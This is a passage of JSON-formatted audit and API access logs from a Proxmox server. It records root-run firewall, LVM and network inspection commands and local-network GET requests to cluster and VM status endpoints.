a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64051 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964334809,"@rawstring":"node=pve type=EXECVE msg=audit(1781964334.809:60571): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781965954893,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965954.893:67806): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65114 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965122356,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:18:41 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 495"} {"@timestamp":1781964205632,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964205.632:60044): arch=c000003e syscall=59 success=no exit=-2 a0=7ffe0c10a6c0 a1=646fc78c93d0 a2=646fc78a7680 a3=5 items=1 ppid=57657 pid=57658 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965945312,"@rawstring":"node=pve type=EXECVE msg=audit(1781965945.312:67773): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965686005,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965686.005:66680): arch=c000003e syscall=59 success=yes exit=0 a0=5642a8880b20 a1=5642a888ce00 a2=5642a885a680 a3=5 items=2 ppid=64044 pid=64050 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781964334772,"@rawstring":"node=pve type=EXECVE msg=audit(1781964334.772:60570): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781965954887,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965954.887:67803): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65113 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965122356,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:41 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964205548,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964205.548:60026): arch=c000003e syscall=59 success=no exit=-2 a0=7ffc72689680 a1=6283dfc96410 a2=6283dfc74680 a3=5 items=1 ppid=57638 pid=57639 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965945310,"@rawstring":"node=pve type=EXECVE msg=audit(1781965945.310:67772): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965686000,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965686.000:66679): arch=c000003e syscall=59 success=yes exit=0 a0=56428b6bcac8 a1=7ffe59259d30 a2=5642a885a680 a3=56428b6a024e items=2 ppid=64044 pid=64046 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781964333822,"@rawstring":"node=pve type=EXECVE msg=audit(1781964333.822:60569): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965954656,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965954.656:67800): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d740f3a0 a1=64f8d7413680 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=65112 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965122356,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:41 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 894"} {"@timestamp":1781964203298,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964203.298:60016): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57628 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965945308,"@rawstring":"node=pve type=EXECVE msg=audit(1781965945.308:67771): argc=1 a0=\"date\""} {"@timestamp":1781965686000,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965686.000:66678): arch=c000003e syscall=59 success=yes exit=0 a0=7ffe59259cf0 a1=5642a887c1c0 a2=5642a885a680 a3=5 items=2 ppid=64044 pid=64045 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781964333809,"@rawstring":"node=pve type=EXECVE msg=audit(1781964333.809:60566): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965954616,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965954.616:67799): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d7410a20 a1=64f8d72e04a0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=65111 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965121143,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:40 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 881"} {"@timestamp":1781964203298,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964203.298:60015): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57628 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965945304,"@rawstring":"node=pve type=EXECVE msg=audit(1781965945.304:67769): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965685992,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965685.992:66676): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=64044 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964328797,"@rawstring":"node=pve type=EXECVE msg=audit(1781964328.797:60563): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965953016,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965953.016:67798): arch=c000003e syscall=59 success=yes exit=0 a0=61301a93a950 a1=61301a957ac0 a2=61301a8aab30 a3=8 items=3 ppid=1541 pid=65108 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=1 comm=\"pvesh\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965121143,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:18:39 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1112"} {"@timestamp":1781964203287,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964203.287:60013): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57627 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965945297,"@rawstring":"node=pve type=EXECVE msg=audit(1781965945.297:67768): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965685984,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965685.984:66675): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64043 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964328788,"@rawstring":"node=pve type=EXECVE msg=audit(1781964328.788:60560): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965949880,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965949.880:67797): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65107 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965120115,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:39 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1112"} {"@timestamp":1781964203287,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964203.287:60012): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57627 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965945288,"@rawstring":"node=pve type=EXECVE msg=audit(1781965945.288:67767): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965685972,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965685.972:66674): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64042 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964325902,"@rawstring":"node=pve type=EXECVE msg=audit(1781964325.902:60557): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965949872,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965949.872:67794): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65106 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965120115,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:39 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 907"} {"@timestamp":1781964198276,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964198.276:60010): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57626 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965945283,"@rawstring":"node=pve type=EXECVE msg=audit(1781965945.283:67766): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781965685964,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965685.964:66673): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64041 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964325898,"@rawstring":"node=pve type=EXECVE msg=audit(1781964325.898:60556): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965945414,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965945.414:67791): arch=c000003e syscall=59 success=yes exit=0 a0=5db851b2be90 a1=5db851b28c10 a2=5db851b0a680 a3=5 items=2 ppid=65099 pid=65105 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965120115,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:38 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 497"} {"@timestamp":1781964198276,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964198.276:60009): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57626 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965945276,"@rawstring":"node=pve type=EXECVE msg=audit(1781965945.276:67765): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965685955,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965685.955:66672): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64040 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964325897,"@rawstring":"node=pve type=EXECVE msg=audit(1781964325.897:60555): argc=1 a0=\"date\""} {"@timestamp":1781965945411,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965945.411:67790): arch=c000003e syscall=59 success=yes exit=0 a0=5db817b48ac8 a1=7ffeac2ac7e0 a2=5db851b0a680 a3=5db817b2c24e items=2 ppid=65099 pid=65101 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965119125,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:18:38 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 501"} {"@timestamp":1781964198268,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964198.268:60007): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57625 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965945265,"@rawstring":"node=pve type=EXECVE msg=audit(1781965945.265:67764): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965685950,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965685.950:66671): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=63454566a740 items=0 ppid=1156 pid=64039 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781964325892,"@rawstring":"node=pve type=EXECVE msg=audit(1781964325.892:60553): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965945410,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965945.410:67789): arch=c000003e syscall=59 success=yes exit=0 a0=7ffeac2ac7a0 a1=5db851b11310 a2=5db851b0a680 a3=5 items=2 ppid=65099 pid=65100 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965119125,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:38 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964198268,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964198.268:60006): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57625 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965944866,"@rawstring":"node=pve type=EXECVE msg=audit(1781965944.866:67763): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965685949,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965685.949:66670): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc13d600 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64039 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781964325883,"@rawstring":"node=pve type=EXECVE msg=audit(1781964325.883:60552): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965945404,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965945.404:67787): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=65099 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965119125,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:37 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 868"} {"@timestamp":1781964195496,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964195.496:60002): arch=c000003e syscall=59 success=no exit=-2 a0=7ffea98569c0 a1=5dc025ff7410 a2=5dc025fd5680 a3=5 items=1 ppid=57618 pid=57619 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965944855,"@rawstring":"node=pve type=EXECVE msg=audit(1781965944.855:67760): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965685941,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965685.941:66669): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc13dd80 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64038 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964325874,"@rawstring":"node=pve type=EXECVE msg=audit(1781964325.874:60551): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965945397,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965945.397:67786): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65098 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965118020,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:18:36 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1112"} {"@timestamp":1781964195411,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964195.411:59984): arch=c000003e syscall=59 success=no exit=-2 a0=7ffd876c8950 a1=647a32701200 a2=647a326df680 a3=5 items=1 ppid=57599 pid=57600 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965944502,"@rawstring":"node=pve type=EXECVE msg=audit(1781965944.502:67757): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781965685935,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965685.935:66668): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0ee340 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64037 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964325866,"@rawstring":"node=pve type=EXECVE msg=audit(1781964325.866:60550): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965945388,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965945.388:67785): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65097 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965118020,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:36 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 874"} {"@timestamp":1781964193259,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964193.259:59974): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57589 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965944468,"@rawstring":"node=pve type=EXECVE msg=audit(1781965944.468:67756): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781965685928,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965685.928:66667): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc1477a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64036 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964325858,"@rawstring":"node=pve type=EXECVE msg=audit(1781964325.858:60549): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965945378,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965945.378:67784): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65096 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965116905,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:36 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1112"} {"@timestamp":1781964193259,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964193.259:59973): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57589 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965939849,"@rawstring":"node=pve type=EXECVE msg=audit(1781965939.849:67755): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965685921,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965685.921:66666): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ee340 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64035 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964325849,"@rawstring":"node=pve type=EXECVE msg=audit(1781964325.849:60547): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781965945371,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965945.371:67783): arch=c000003e syscall=59 